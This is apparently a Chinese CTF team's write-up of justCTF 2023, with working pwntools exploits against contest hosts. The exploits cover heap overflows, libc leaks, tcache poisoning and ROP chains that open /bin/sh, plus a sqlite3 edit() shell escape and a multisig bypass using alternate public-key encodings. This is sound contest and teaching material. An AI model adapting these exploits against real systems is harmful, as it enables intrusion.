在本次2023年的 justCTF 国际赛上,星盟安全团队的Polaris战队和Chamd5的Vemon战队联合参赛,合力组成VP-Union联合战队,勇夺第15名的成绩。

排名 队伍 总分
11 CzechCyberTeam 3032
12 ARESx 2845
13 FluxFingers 2320
14 DiceGang 2307
15 VP-Union 2291
16 LosFuzzys 2112
17 rmrfslash 1800
18 0Tolerance 1791
19 Kalmarunionen 1786
20 ./Vespiary 1771

PWN

Welcome in my house

House of Force

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('house.nc.jctf.pro', 1337)
sh.sendlineafter(b'>>  ', b'1')
sh.sendlineafter(b': ', b'xmcve')
sh.sendlineafter(b': ', b'root'.ljust(0x18, b'\0') + b'\xff' * 8)
sh.sendlineafter(b': ', str(-152))
sh.sendlineafter(b'>>  ', b'2')

sh.interactive()

nucleus

The decompress function contains a heap overflow vulnerability. For example, while decompressing $1024a.

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

sh = remote('nucleus.nc.jctf.pro', 1337)

sh.sendlineafter(b'> ', b'2')
sh.sendlineafter(b': ', b'ab' * 0x1f0)
sh.sendlineafter(b'> ', b'2')
sh.sendlineafter(b': ', b'ab')
sh.sendlineafter(b'> ', b'2')
sh.sendlineafter(b': ', b'ab')
sh.sendlineafter(b'> ', b'3')
sh.sendlineafter(b': ', b'd')
sh.sendlineafter(b': ', b'0')

sh.sendlineafter(b'> ', b'5')
sh.sendlineafter(b': ', b'-1024')
sh.recvuntil(b'content: ')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x1ecbe0
success('libc_addr: ' + hex(libc_addr))
sh.sendlineafter(b'> ', b'3')
sh.sendlineafter(b': ', b'd')
sh.sendlineafter(b': ', b'2')
sh.sendlineafter(b'> ', b'3')
sh.sendlineafter(b': ', b'd')
sh.sendlineafter(b': ', b'1')
sh.sendlineafter(b'> ', b'2')
sh.sendlineafter(b': ', (b'$2000a' + p64(libc_addr + 0x1eee48)).ljust(0x1f0 * 2, b'\0'))

sh.sendlineafter(b'> ', b'2')
sh.sendlineafter(b': ', b'/bin/sh')
sh.sendlineafter(b'> ', b'2')
sh.sendlineafter(b': ', p64(libc_addr + 0x52290))

sh.sendlineafter(b'> ', b'3')
sh.sendlineafter(b': ', b'd')
sh.sendlineafter(b': ', b'1')

sh.interactive()

Mystery locker

There is a heap overflow vulnerability in the sub_14DF function. Although we can allocate up to 0x400 memory, there is no length check at v4[len] = 0;.

// sub_14DF
_BYTE *__fastcall print_and_malloc(const char *msg, unsigned int len)
{
  int v2; // ebp
  _BYTE *v3; // rax
  _BYTE *v4; // r14
  _BYTE *v5; // rbx
  _BYTE *v6; // rbp
  char buf; // [rsp+7h] [rbp-31h] BYREF
  unsigned __int64 v9; // [rsp+8h] [rbp-30h]

  v9 = __readfsqword(0x28u);
  __printf_chk(1LL, "%s", msg);
  v2 = 1024;
  if ( len <= 0x400 )
    v2 = len;
  v3 = malloc(v2);
  v4 = v3;
  if ( v2 > 0 )
  {
    v5 = v3;
    v6 = &v3[v2];
    do
    {
      if ( !read(0, &buf, 1uLL) )
        break;
      if ( !buf )
        break;
      *v5++ = buf;
    }
    while ( v5 != v6 );
  }
  v4[len] = 0;                                  // heap overflow
  return v4;
}

The primary challenge lies in determining how to disclose the address information. We can allocate memory without the need for edit, allowing us to use the print command to extract the information.

void __fastcall create()
{
    ...
    v3 = print_and_malloc("contents: ", v2);
    v4 = creat(file_path, 0600u);
    if ( v4 < 0 )
    {
      perror("creat");
      exit(1);
    }
    v5 = strlen(v3);
    if ( write(v4, v3, v5) < 0 ) // leak
    {
      perror("write");
      exit(1);
    }
    if ( close(v4) < 0 )
    {
      perror("close");
      exit(1);
    }
    __printf_chk(1LL, "Data saved to: %s\n", file_path);
    free(v3);
    free(v1);
  }
}

Exp

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')

def create(f_len, f, c_len, c):
    sh.sendlineafter(b'> ', b'0')
    sh.sendlineafter(b'size: ', str(f_len).encode())
    sh.sendafter(b'fname: ', f)
    sh.sendlineafter(b'len: ', str(c_len).encode())
    sh.sendafter(b'contents: ', c)

def show(f_len, f):
    sh.sendlineafter(b'> ', b'2')
    sh.sendlineafter(b'size: ', str(f_len).encode())
    sh.sendafter(b'fname: ', f)

while(True):
    sh = remote('mysterylocker.nc.jctf.pro', 1337)
    salt = str(randint(0, 0x100000000)).encode()
    create(0x400, salt + b'\0', 0x400, b'\0')
    create(0x400, salt + b'1\0', 0x400, b'\0')
    show(0x400, salt + b'1\0')
    heap_addr = u64(sh.recvn(5) + b'\0\0\0') << 12
    success('heap_addr: ' + hex(heap_addr))
    heap_0x100_0 = heap_addr + 0xb10
    heap_0x100_1 = heap_addr + 0xc10
    heap_0x50_0 = heap_addr + 0xd10
    heap_func_0 = heap_addr + 0x2a0
    heap_0x100_content = (heap_0x100_0 >> 12) ^ heap_0x100_1
    success('heap_0x100_1_fake: ' + hex(heap_0x100_1_fake))
    heap_0x100_1_fake = (heap_0x100_content & (~0xff)) ^ (heap_0x100_0 >> 12)
    if (heap_0x100_1_fake % 0x10) == 0 and heap_0x100_1_fake > heap_0x100_1:
        break
    sh.close()


success('heap_0x100_1: ' + hex(heap_0x100_1))
success('heap_0x100_1_fake: ' + hex(heap_0x100_1_fake))

create(0xf0, salt + b'2\0', 0xf0, b' ' * (heap_0x100_1_fake - heap_0x100_1 - 8) + p16(0x111) + b'\0')
create(0x840, salt + b'3\0', 0xf0, b'\0')
create(0x40, salt + b'4\0', 0x40, b'\0')
create(0xf0, salt + b'5\0', 0xf0, b' ' * (heap_0x50_0 - heap_0x100_1_fake - 8) + p8(0x51) + b'       ' + p64((heap_0x50_0 >> 12) ^ heap_func_0)[:6] + b'\0')
create(0xa39, salt + b'6\0', 0xf0, b'\0')
create(0xa3a, salt + b'7\0', 0xf0, b'\0')
create(0xa3b, salt + b'8\0', 0xf0, b'\0')
create(0xa3c, salt + b'9\0', 0xf0, b'\0')
create(0xa3d, salt + b'10\0', 0xf0, b'\0')
create(0xa3e, salt + b'11\0', 0xf0, b'\0')
create(0xa3f, salt + b'12\0', 0xf0, b'\0')
create(0x40, salt + b'13\0', 0x40, b'\0')
show(0x400, salt + b'13\0')
image_addr = u64(sh.recvn(6) + b'\0\0') - 0x1db4
success('image_addr: ' + hex(image_addr))
create(0x240, salt + b'14\0', 0x240, b'\0')
create(0x260, salt + b'15\0', 0x260, b'\0')

create(0x400, salt + b'16\0', 0x100, b' ' * (heap_0x50_0 - heap_0x100_1_fake - 8) + p16(0x7b1) + b'\0')
create(0x400, salt + b'17\0', 0x40, b'\0')
create(0x400, salt + b'18\0', 0x40, b'\0')
show(0x400, salt + b'18\0')
libc_addr = u64(sh.recvn(6) + b'\0\0') - 0x1f71b0
success('libc_addr: ' + hex(libc_addr))
create(0x400, salt + b'19\0', 0x20, b' ' * 0x10 + p64(libc_addr + 0x79f30)[:6] + b'\0')

sh.sendlineafter(b'> ', b'2')
sh.sendline(b'\0' * 0x528 + p64(libc_addr + 0x0000000000022fd9) + p64(libc_addr + 0x00000000000240e5) + p64(libc_addr + 0x1b51d2) + p64(libc_addr + 0x4ebf0))

sh.interactive()

notabug

The sqlite3 service disables most internal commands, including .shell. While searching the references of the system function, its occurrence is not limited to just .shell, but also found in the editFunc function. Upon exploring the context of the editFunc function, you will discover that it is originates from the internal edit function in sqlite3.

sqlite> select edit('', '/jailed/readflag');
justCTF{SQL1t3_F34tur3_n0t_bug}

notabug2

Same as notabug.

sqlite> select edit('', '/jailed/readflag');
justCTF{SQL1t3_F34tur3_n0t_bug_Int3nd3d!11!!!111!!1}

Crypto

Vaulted

题目

from coincurve import PublicKey
import json

FLAG = 'justWTF{th15M1ghtB34(0Rr3CtFl4G!Right????!?!?!??!!1!??1?}'
PUBKEYS = ['025056d8e3ae5269577328cb2210bdaa1cf3f076222fcf7222b5578af846685103', 
            '0266aa51a20e5619620d344f3c65b0150a66670b67c10dac5d619f7c713c13d98f', 
            '0267ccabf3ae6ce4ac1107709f3e8daffb3be71f3e34b8879f08cb63dff32c4fdc']


class FlagVault:
    def __init__(self, flag):
        self.flag = flag
        self.pubkeys = []

    def get_keys(self, _data):
        return str([pk.format().hex() for pk in self.pubkeys])

    def enroll(self, data):
        if len(self.pubkeys) > 3:
            raise Exception("Vault public keys are full")

        pk = PublicKey(bytes.fromhex(data['pubkey']))
        self.pubkeys.append(pk)
        return f"Success. There are {len(self.pubkeys)} enrolled"

    def get_flag(self, data):
        # Deduplicate pubkeys
        auths = {bytes.fromhex(pk): bytes.fromhex(s) for (pk, s) in zip(data['pubkeys'], data['signatures'])}

        if len(auths) < 3:
            raise Exception("Too few signatures")

        if not all(PublicKey(pk) in self.pubkeys for pk in auths):
            raise Exception("Public key is not authorized")

        if not all(PublicKey(pk).verify(s, b'get_flag') for pk, s in auths.items()):
            raise Exception("Signature is invalid")

        return self.flag


def write(data):
    print(json.dumps(data))


def read():
    try:
        return json.loads(input())
    except EOFError:
        exit(0)


WELCOME = """
Welcome to the vault! Thank you for agreeing to hold on to one of our backup keys.

The vault requires 3 of 4 keys to open. Please enroll your public key.
"""

if __name__ == "__main__":
    vault = FlagVault(FLAG)
    for pubkey in PUBKEYS:
        vault.enroll({'pubkey': pubkey})

    write({'message': WELCOME})
    while True:
        try:
            data = read()
            if data['method'] == 'get_keys': 
                write({'message': vault.get_keys(data)})
            elif data['method'] == 'enroll':
                write({'message': vault.enroll(data)})
            elif data['method'] == "get_flag":
                write({'message': vault.get_flag(data)})
            else:
                write({'error': 'invalid method'})
        except Exception as e:
            write({'error': repr(e)})

题解

值得指出,虽然在enroll(self, data)函数中里有写

def enroll(self, data):
        if len(self.pubkeys) > 3:
            raise Exception("Vault public keys are full")

但根据题目欢迎语以及实际测试发现,还可以再塞一组公钥进去,也就是len(self.pubkeys)不能大于4才对。

审阅coincurve库代码,发现公钥有三种格式都可以正常被解析,利用此特性即可解题

image-20230603225527589

其中,生成一组公私钥以及对应签名,参考老技術者がイーサリアムアドレス・公開鍵を秘密鍵から生成してみた話 - Qiita

image-20230603225544791

总exp如下

import json
from pwn import *
from coincurve import PublicKey, keys, PrivateKey

context.log_level = 'debug'


def write(data):
    return json.dumps(data)


sh = remote('vaulted.nc.jctf.pro', 1337)
sh.recvline()
t = write({'method': 'get_keys'})
sh.sendline(t.encode())
sh.recvline()

# 塞入新建公钥
private_key_hex = 'f8f8a2f43c8376ccb0871305060d7b27b0554d2cc72bccf41b2705608452f315'
private_key = bytes.fromhex(private_key_hex)
public_key = PublicKey.from_valid_secret(private_key).format(compressed=False)
public_key_hex = public_key.hex()
t = write({'method': 'enroll', 'pubkey': public_key_hex})
sh.sendline(t.encode())
sh.recvline()

# 利用公钥解析的三种格式完成挑战
ps = [PublicKey.from_valid_secret(private_key).format(compressed=False).hex(),
      PublicKey.from_valid_secret(private_key).format(compressed=True).hex(),
      '06' + PublicKey.from_valid_secret(private_key).format(compressed=False).hex()[2:]]

s = PrivateKey(private_key).sign(b'get_flag').hex()
t = write({'method': 'get_flag', 'pubkeys': ps, 'signatures': [s for _ in range(3)]})
sh.sendline(t.encode())
sh.interactive()
# justCTF{n0nc4n0n1c4l_72037872768289199286663281818929329}

MISC

Sanity check

猜字谜是rules,直接再rules里查看得到flag

ECC for Dummies

可以问8个问题逻辑推理,但是也可以直接爆破

from pwn import *
while True:
    conn = remote("eccfordummies.nc.jctf.pro",1337)
    conn.recv().decode()
    for i in range(8):
        conn.sendline(" ".encode())
        conn.recv().decode()
    conn.sendline("0 1 1 1 0".encode())
    print(conn.recv().decode())

RE

Rustberry

arm rust

The main logical pseudocode is generated after manually pacth partial bytes.

image-20230605214635655

The input string gets the index value of each character on a character set.

v4 = [0]*64
v4[37] = 7
v4[41] = 28
v4[42] = 255
v4[24] = 3
v4[38] = 33
v4[25] = 26
v4[26] = 17
v4[27] = 20
v4[32] = 17
v4[33] = 17
v4[29] = 19
v4[30] = 1
v4[31] = 32
v4[19] = 8
v4[40] = 11
v4[39] = 11
v4[17] = 11
v4[23] = 11
v4[8] = 21
v4[9] = 51
v4[34] = 24
v4[16] = 15
v4[10] = 26
v4[11] = 9
v4[12] = 20
v4[13] = 18
v4[3] = 5
v4[28] = 34
v4[4] = 27
v4[5] = 13
v4[6] = 29
v4[35] = 26
v4[21] = 26
v4[15] = 26
v4[7] = 26
v4[36] = 2
v4[18] = 0
v4[20] = 13
v4[22] = 29
v4[14] = 19
v4[0] = 9
v4[1] = 2
v4[2] = 19
xxx = b"abcdefghijklmnopqrstuvwxyz_{}0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
for i in v4:
    print(chr(xxx[i]),end='')
#jctf{n0_vM_just_plain_0ld_ru5tb3rry_ch4ll}